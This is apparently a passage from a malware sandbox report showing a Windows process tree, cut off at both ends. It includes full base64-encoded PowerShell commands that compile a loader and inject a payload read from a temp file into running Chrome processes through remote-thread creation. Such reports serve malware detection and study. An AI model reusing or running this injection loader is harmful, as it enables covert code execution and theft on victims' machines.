IABvADsAIABpACcALAAnAGYAKAAhAFYAaQByAHQAdQBhAGwAUAByAG8AdABlAGMAdABFAHgAJwAsACcAKABoACwAbQAsACgAVQBJAG4AdABQAHQAcgApAGQALgBMAGUAbgAnACwAJwBnAHQAaAAsADAAeAA0ADAALABvAHUAdAAgAG8AKQApAHsAQwBsACcALAAnAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQByAG4AJwAsACcAIABmAGEAbABzAGUAOwB9AAoAdQBpAG4AdAAgAHcAOwBpAGYAJwAsACcAKAAhAFcAcgBpAHQAZQBQAHIAbwBjAGUAcwBzAE0AZQBtAG8AcgAnACwAJwB5ACgAaAAsAG0ALABkACwAKAB1AGkAbgB0ACkAZAAuAEwAZQBuACcALAAnAGcAdABoACwAbwB1AHQAIAB3ACkAKQB7AEMAbABvAHMAZQBIAGEAJwAsACcAbgBkAGwAZQAoAGgAKQA7AHIAZQB0AHUAcgBuACAAZgBhAGwAcwAnACwAJwBlADsAfQAKAGkAZgAoACEARgBsAHUAcwBoAEkAbgBzAHQAcgAnACwAJwB1AGMAdABpAG8AbgBDAGEAYwBoAGUAKABoACwAbQAsACgAVQBJACcALAAnAG4AdABQAHQAcgApAGQALgBMAGUAbgBnAHQAaAApACkAewBDAGwAJwAsACcAbwBzAGUASABhAG4AZABsAGUAKABoACkAOwByAGUAdAB1AHIAbgAnACwAJwAgAGYAYQBsAHMAZQA7AH0ACgBJAG4AdABQAHQAcgAgAHQAPQAnACwAJwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAoACcALAAnAGgALABJAG4AdABQAHQAcgAuAFoAZQByAG8ALAAwACwAbQAsAEkAJwAsACcAbgB0AFAAdAByAC4AWgBlAHIAbwAsADAALABJAG4AdABQAHQAcgAnACwAJwAuAFoAZQByAG8AKQA7AAoAaQBmACgAdAA9AD0ASQBuAHQAUAAnACwAJwB0AHIALgBaAGUAcgBvACkAewBDAGwAbwBzAGUASABhAG4AZABsACcALAAnAGUAKABoACkAOwByAGUAdAB1AHIAbgAgAGYAYQBsAHMAZQA7AH0AJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIAB0AHIAdQBlADsAfQB9AAoAIgBAACAALQBMAGEAbgAnACwAJwBnAHUAYQBnAGUAIABDAFMAaABhAHIAcAAKACQAZAA9AFsAQwAnACwAJwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0ACcALAAnAFMAdAByAGkAbgBnACgAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAJwAsACcAIAAtAFIAYQB3ACAAJABiACkAKQAKAFsAWABdADoAOgBSACgAJwAsACcAWwB1AGkAbgB0ADMAMgBdACQAYQAsACQAZAApACcAKQA7ACAAJABzAGMAcgBpAHAAdAAgAD0AIAAkAGYAcgBhAGcAbQBlAG4AdABzACAALQBqAG8AaQBuACAAJwAnADsAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAHMAYwByAGkAcAB0AA==
                                                                                                                                        6⤵
                                                                                                                                          PID:6084
                                                                                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ffasuxa1\ffasuxa1.cmdline"
                                                                                                                                            7⤵
                                                                                                                                              PID:2620
                                                                                                                                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                                                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7C6.tmp" "c:\Users\Admin\AppData\Local\Temp\ffasuxa1\CSCD21FF70E7D6A4A42A191721F30FACB.TMP"
                                                                                                                                                8⤵
                                                                                                                                                  PID:3276
                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                              6⤵
                                                                                                                                                PID:3876
                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff85d1ddcf8,0x7ff85d1ddd04,0x7ff85d1ddd10
                                                                                                                                                  7⤵
                                                                                                                                                    PID:4972
                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1540,i,5868478660176229743,11769109945424210195,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=2616 /prefetch:3
                                                                                                                                                    7⤵
                                                                                                                                                      PID:2492
                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1972,i,5868478660176229743,11769109945424210195,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=1968 /prefetch:2
                                                                                                                                                      7⤵
                                                                                                                                                        PID:2012
                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2212,i,5868478660176229743,11769109945424210195,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=2608 /prefetch:8
                                                                                                                                                        7⤵
                                                                                                                                                          PID:5300
                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3172,i,5868478660176229743,11769109945424210195,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3184 /prefetch:1
                                                                                                                                                          7⤵
                                                                                                                                                            PID:5600
                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3208,i,5868478660176229743,11769109945424210195,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3220 /prefetch:1
                                                                                                                                                            7⤵
                                                                                                                                                              PID:2280
                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4080,i,5868478660176229743,11769109945424210195,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=4056 /prefetch:2
                                                                                                                                                              7⤵
                                                                                                                                                                PID:992
                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4556,i,5868478660176229743,11769109945424210195,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=4540 /prefetch:1
                                                                                                                                                                7⤵
                                                                                                                                                                  PID:3444
                                                                                                                                                              • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JABhACAAPQAgADMAOAA3ADYAOwAkAGIAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwAEQARgA0ADIALgB0AG0AcAAnADsAIAAkAGYAcgBhAGcAbQBlAG4AdABzACAAPQAgAEAAKAAnAEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AJwAsACcAaQB0AGkAbwBuACAAQAAiAAoAdQBzAGkAbgBnACAAUwB5AHMAJwAsACcAdABlAG0AOwAgAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgAnACwAJwB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpACcALAAnAGMAZQBzADsACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgACcALAAnAFgAewAgAGMAbwBuAHMAdAAgAHUAaQBuAHQAIABBAD0AMAB4ADAAJwAsACcAMAAwADIALABCAD0AMAB4ADAANAAwADAALABDAD0AMAB4ADAAMAAnACwAJwAwADgALABEAD0AMAB4ADAAMAAyADAALABFAD0AMAB4ADAAMAAxACcALAAnADAAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByACcALAAnAG4AZQBsADMAMgAiACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAJwAsACcAcgBuACAASQBuAHQAUAB0AHIAIABPAHAAZQBuAFAAcgBvAGMAZQAnACwAJwBzAHMAKAB1AGkAbgB0ACAAeAAsAGIAbwBvAGwAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACcALAAnACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAJwAsACcAZQB4AHQAZQByAG4AIABiAG8AbwBsACAAQwBsAG8AcwBlAEgAYQAnACwAJwBuAGQAbABlACgASQBuAHQAUAB0AHIAIAB4ACkAOwAKAFsARAAnACwAJwBsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACcALAAnACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAJwAsACcAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwBFAHgAKAAnACwAJwBJAG4AdABQAHQAcgAgAHgALABJAG4AdABQAHQAcgAgAHkALAB1ACcALAAnAGkAbgB0ACAAegAsAHUAaQBuAHQAIABhACwAdQBpAG4AdAAgAGIAJwAsACcAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAJwAsACcAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQAnACwAJwByAG4AIABiAG8AbwBsACAAVwByAGkAdABlAFAAcgBvAGMAZQBzACcALAAnAHMATQBlAG0AbwByAHkAKABJAG4AdABQAHQAcgAgAHgALABJAG4AJwAsACcAdABQAHQAcgAgAHkALABiAHkAdABlAFsAXQAgAHoALAB1AGkAbgAnACwAJwB0ACAAYQAsAG8AdQB0ACAAdQBpAG4AdAAgAGIAKQA7AAoAWwAnACwAJwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACcALAAnACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABiAG8AJwAsACcAbwBsACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0AEUAeAAnACwAJwAoAEkAbgB0AFAAdAByACAAeAAsAEkAbgB0AFAAdAByACAAeQAsACcALAAnAFUASQBuAHQAUAB0AHIAIAB6ACwAdQBpAG4AdAAgAGEALABvAHUAJwAsACcAdAAgAHUAaQBuAHQAIABiACkAOwAKAFsARABsAGwASQBtAHAAJwAsACcAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQBzAHQAYQAnACwAJwB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAEYAbAB1ACcALAAnAHMAaABJAG4AcwB0AHIAdQBjAHQAaQBvAG4AQwBhAGMAaABlACgAJwAsACcASQBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAVQAnACwAJwBJAG4AdABQAHQAcgAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcAAnACwAJwBvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhACcALAAnAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAJwAsACcAcgBlAGEAdABlAFIAZQBtAG8AdABlAFQAaAByAGUAYQBkACgASQAnACwAJwBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoALABJAG4AdABQAHQAcgAgAGEALABJAG4AdABQAHQAJwAsACcAcgAgAGIALAB1AGkAbgB0ACAAYwAsAEkAbgB0AFAAdAByACAAZAAnACwAJwApADsACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAYgAnACwAJwBvAG8AbAAgAFIAKAB1AGkAbgB0ACAAcAAsAGIAeQB0AGUAWwBdACcALAAnACAAZAApAHsASQBuAHQAUAB0AHIAIABoAD0ATwBwAGUAbgBQAHIAJwAsACcAbwBjAGUAcwBzACgAQQB8AEIAfABDAHwARAB8AEUALABmAGEAbAAnACwAJwBzAGUALABwACkAOwAKAGkAZgAoAGgAPQA9AEkAbgB0AFAAdAAnACwAJwByAC4AWgBlAHIAbwApAHIAZQB0AHUAcgBuACAAZgBhAGwAcwBlACcALAAnADsASQBuAHQAUAB0AHIAIABtAD0AVgBpAHIAdAB1AGEAbABBAGwAJwAsACcAbABvAGMARQB4ACgAaAAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAnACwAJwAsACgAdQBpAG4AdAApAGQALgBMAGUAbgBnAHQAaAAsADAAeAAzACcALAAnADAAMAAwAHwAMAB4ADIAMAAwADAALAAwAHgANAAwACkAOwAKACcALAAnAGkAZgAoAG0APQA9AEkAbgB0AFAAdAByAC4AWgBlAHIAbwApAHsAJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIABmAGEAbABzAGUAOwB9AHUAaQBuAHQAIABvADsAIABpACcALAAnAGYAKAAhAFYAaQByAHQAdQBhAGwAUAByAG8AdABlAGMAdABFAHgAJwAsACcAKABoACwAbQAsACgAVQBJAG4AdABQAHQAcgApAGQALgBMAGUAbgAnACwAJwBnAHQAaAAsADAAeAA0ADAALABvAHUAdAAgAG8AKQApAHsAQwBsACcALAAnAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQByAG4AJwAsACcAIABmAGEAbABzAGUAOwB9AAoAdQBpAG4AdAAgAHcAOwBpAGYAJwAsACcAKAAhAFcAcgBpAHQAZQBQAHIAbwBjAGUAcwBzAE0AZQBtAG8AcgAnACwAJwB5ACgAaAAsAG0ALABkACwAKAB1AGkAbgB0ACkAZAAuAEwAZQBuACcALAAnAGcAdABoACwAbwB1AHQAIAB3ACkAKQB7AEMAbABvAHMAZQBIAGEAJwAsACcAbgBkAGwAZQAoAGgAKQA7AHIAZQB0AHUAcgBuACAAZgBhAGwAcwAnACwAJwBlADsAfQAKAGkAZgAoACEARgBsAHUAcwBoAEkAbgBzAHQAcgAnACwAJwB1AGMAdABpAG8AbgBDAGEAYwBoAGUAKABoACwAbQAsACgAVQBJACcALAAnAG4AdABQAHQAcgApAGQALgBMAGUAbgBnAHQAaAApACkAewBDAGwAJwAsACcAbwBzAGUASABhAG4AZABsAGUAKABoACkAOwByAGUAdAB1AHIAbgAnACwAJwAgAGYAYQBsAHMAZQA7AH0ACgBJAG4AdABQAHQAcgAgAHQAPQAnACwAJwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAoACcALAAnAGgALABJAG4AdABQAHQAcgAuAFoAZQByAG8ALAAwACwAbQAsAEkAJwAsACcAbgB0AFAAdAByAC4AWgBlAHIAbwAsADAALABJAG4AdABQAHQAcgAnACwAJwAuAFoAZQByAG8AKQA7AAoAaQBmACgAdAA9AD0ASQBuAHQAUAAnACwAJwB0AHIALgBaAGUAcgBvACkAewBDAGwAbwBzAGUASABhAG4AZABsACcALAAnAGUAKABoACkAOwByAGUAdAB1AHIAbgAgAGYAYQBsAHMAZQA7AH0AJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIAB0AHIAdQBlADsAfQB9AAoAIgBAACAALQBMAGEAbgAnACwAJwBnAHUAYQBnAGUAIABDAFMAaABhAHIAcAAKACQAZAA9AFsAQwAnACwAJwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0ACcALAAnAFMAdAByAGkAbgBnACgAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAJwAsACcAIAAtAFIAYQB3ACAAJABiACkAKQAKAFsAWABdADoAOgBSACgAJwAsACcAWwB1AGkAbgB0ADMAMgBdACQAYQAsACQAZAApACcAKQA7ACAAJABzAGMAcgBpAHAAdAAgAD0AIAAkAGYAcgBhAGcAbQBlAG4AdABzACAALQBqAG8AaQBuACAAJwAnADsAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAHMAYwByAGkAcAB0AA==
                                                                                                                                                                6⤵
                                                                                                                                                                  PID:4364
                                                                                                                                                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                                                    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\c5rqw0ml\c5rqw0ml.cmdline"
                                                                                                                                                                    7⤵
                                                                                                                                                                      PID:5664
                                                                                                                                                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                                                                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1E3C.tmp" "c:\Users\Admin\AppData\Local\Temp\c5rqw0ml\CSC4C4FEED2C1943AB8242FB7559E0F787.TMP"
                                                                                                                                                                        8⤵
                                                                                                                                                                          PID:6088
                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                      6⤵
                                                                                                                                                                        PID:4476
                                                                                                                                                                      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                        C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JABhACAAPQAgADQANAA3ADYAOwAkAGIAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwADEANQBDADQALgB0AG0AcAAnADsAIAAkAGYAcgBhAGcAbQBlAG4AdABzACAAPQAgAEAAKAAnAEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AJwAsACcAaQB0AGkAbwBuACAAQAAiAAoAdQBzAGkAbgBnACAAUwB5AHMAJwAsACcAdABlAG0AOwAgAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgAnACwAJwB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpACcALAAnAGMAZQBzADsACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgACcALAAnAFgAewAgAGMAbwBuAHMAdAAgAHUAaQBuAHQAIABBAD0AMAB4ADAAJwAsACcAMAAwADIALABCAD0AMAB4ADAANAAwADAALABDAD0AMAB4ADAAMAAnACwAJwAwADgALABEAD0AMAB4ADAAMAAyADAALABFAD0AMAB4ADAAMAAxACcALAAnADAAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByACcALAAnAG4AZQBsADMAMgAiACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAJwAsACcAcgBuACAASQBuAHQAUAB0AHIAIABPAHAAZQBuAFAAcgBvAGMAZQAnACwAJwBzAHMAKAB1AGkAbgB0ACAAeAAsAGIAbwBvAGwAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACcALAAnACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAJwAsACcAZQB4AHQAZQByAG4AIABiAG8AbwBsACAAQwBsAG8AcwBlAEgAYQAnACwAJwBuAGQAbABlACgASQBuAHQAUAB0AHIAIAB4ACkAOwAKAFsARAAnACwAJwBsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACcALAAnACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAJwAsACcAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwBFAHgAKAAnACwAJwBJAG4AdABQAHQAcgAgAHgALABJAG4AdABQAHQAcgAgAHkALAB1ACcALAAnAGkAbgB0ACAAegAsAHUAaQBuAHQAIABhACwAdQBpAG4AdAAgAGIAJwAsACcAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAJwAsACcAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQAnACwAJwByAG4AIABiAG8AbwBsACAAVwByAGkAdABlAFAAcgBvAGMAZQBzACcALAAnAHMATQBlAG0AbwByAHkAKABJAG4AdABQAHQAcgAgAHgALABJAG4AJwAsACcAdABQAHQAcgAgAHkALABiAHkAdABlAFsAXQAgAHoALAB1AGkAbgAnACwAJwB0ACAAYQAsAG8AdQB0ACAAdQBpAG4AdAAgAGIAKQA7AAoAWwAnACwAJwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACcALAAnACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABiAG8AJwAsACcAbwBsACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0AEUAeAAnACwAJwAoAEkAbgB0AFAAdAByACAAeAAsAEkAbgB0AFAAdAByACAAeQAsACcALAAnAFUASQBuAHQAUAB0AHIAIAB6ACwAdQBpAG4AdAAgAGEALABvAHUAJwAsACcAdAAgAHUAaQBuAHQAIABiACkAOwAKAFsARABsAGwASQBtAHAAJwAsACcAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQBzAHQAYQAnACwAJwB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAEYAbAB1ACcALAAnAHMAaABJAG4AcwB0AHIAdQBjAHQAaQBvAG4AQwBhAGMAaABlACgAJwAsACcASQBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAVQAnACwAJwBJAG4AdABQAHQAcgAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcAAnACwAJwBvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhACcALAAnAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAJwAsACcAcgBlAGEAdABlAFIAZQBtAG8AdABlAFQAaAByAGUAYQBkACgASQAnACwAJwBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoALABJAG4AdABQAHQAcgAgAGEALABJAG4AdABQAHQAJwAsACcAcgAgAGIALAB1AGkAbgB0ACAAYwAsAEkAbgB0AFAAdAByACAAZAAnACwAJwApADsACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAYgAnACwAJwBvAG8AbAAgAFIAKAB1AGkAbgB0ACAAcAAsAGIAeQB0AGUAWwBdACcALAAnACAAZAApAHsASQBuAHQAUAB0AHIAIABoAD0ATwBwAGUAbgBQAHIAJwAsACcAbwBjAGUAcwBzACgAQQB8AEIAfABDAHwARAB8AEUALABmAGEAbAAnACwAJwBzAGUALABwACkAOwAKAGkAZgAoAGgAPQA9AEkAbgB0AFAAdAAnACwAJwByAC4AWgBlAHIAbwApAHIAZQB0AHUAcgBuACAAZgBhAGwAcwBlACcALAAnADsASQBuAHQAUAB0AHIAIABtAD0AVgBpAHIAdAB1AGEAbABBAGwAJwAsACcAbABvAGMARQB4ACgAaAAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAnACwAJwAsACgAdQBpAG4AdAApAGQALgBMAGUAbgBnAHQAaAAsADAAeAAzACcALAAnADAAMAAwAHwAMAB4ADIAMAAwADAALAAwAHgANAAwACkAOwAKACcALAAnAGkAZgAoAG0APQA9AEkAbgB0AFAAdAByAC4AWgBlAHIAbwApAHsAJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIABmAGEAbABzAGUAOwB9AHUAaQBuAHQAIABvADsAIABpACcALAAnAGYAKAAhAFYAaQByAHQAdQBhAGwAUAByAG8AdABlAGMAdABFAHgAJwAsACcAKABoACwAbQAsACgAVQBJAG4AdABQAHQAcgApAGQALgBMAGUAbgAnACwAJwBnAHQAaAAsADAAeAA0ADAALABvAHUAdAAgAG8AKQApAHsAQwBsACcALAAnAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQByAG4AJwAsACcAIABmAGEAbABzAGUAOwB9AAoAdQBpAG4AdAAgAHcAOwBpAGYAJwAsACcAKAAhAFcAcgBpAHQAZQBQAHIAbwBjAGUAcwBzAE0AZQBtAG8AcgAnACwAJwB5ACgAaAAsAG0ALABkACwAKAB1AGkAbgB0ACkAZAAuAEwAZQBuACcALAAnAGcAdABoACwAbwB1AHQAIAB3ACkAKQB7AEMAbABvAHMAZQBIAGEAJwAsACcAbgBkAGwAZQAoAGgAKQA7AHIAZQB0AHUAcgBuACAAZgBhAGwAcwAnACwAJwBlADsAfQAKAGkAZgAoACEARgBsAHUAcwBoAEkAbgBzAHQAcgAnACwAJwB1AGMAdABpAG8AbgBDAGEAYwBoAGUAKABoACwAbQAsACgAVQBJACcALAAnAG4AdABQAHQAcgApAGQALgBMAGUAbgBnAHQAaAApACkAewBDAGwAJwAsACcAbwBzAGUASABhAG4AZABsAGUAKABoACkAOwByAGUAdAB1AHIAbgAnACwAJwAgAGYAYQBsAHMAZQA7AH0ACgBJAG4AdABQAHQAcgAgAHQAPQAnACwAJwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAoACcALAAnAGgALABJAG4AdABQAHQAcgAuAFoAZQByAG8ALAAwACwAbQAsAEkAJwAsACcAbgB0AFAAdAByAC4AWgBlAHIAbwAsADAALABJAG4AdABQAHQAcgAnACwAJwAuAFoAZQByAG8AKQA7AAoAaQBmACgAdAA9AD0ASQBuAHQAUAAnACwAJwB0AHIALgBaAGUAcgBvACkAewBDAGwAbwBzAGUASABhAG4AZABsACcALAAnAGUAKABoACkAOwByAGUAdAB1AHIAbgAgAGYAYQBsAHMAZQA7AH0AJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIAB0AHIAdQBlADsAfQB9AAoAIgBAACAALQBMAGEAbgAnACwAJwBnAHUAYQBnAGUAIABDAFMAaABhAHIAcAAKACQAZAA9AFsAQwAnACwAJwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0ACcALAAnAFMAdAByAGkAbgBnACgAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAJwAsACcAIAAtAFIAYQB3ACAAJABiACkAKQAKAFsAWABdADoAOgBSACgAJwAsACcAWwB1AGkAbgB0ADMAMgBdACQAYQAsACQAZAApACcAKQA7ACAAJABzAGMAcgBpAHAAdAAgAD0AIAAkAGYAcgBhAGcAbQBlAG4AdABzACAALQBqAG8AaQBuACAAJwAnADsAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAHMAYwByAGkAcAB0AA==
                                                                                                                                                                        6⤵
                                                                                                                                                                          PID:964
                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
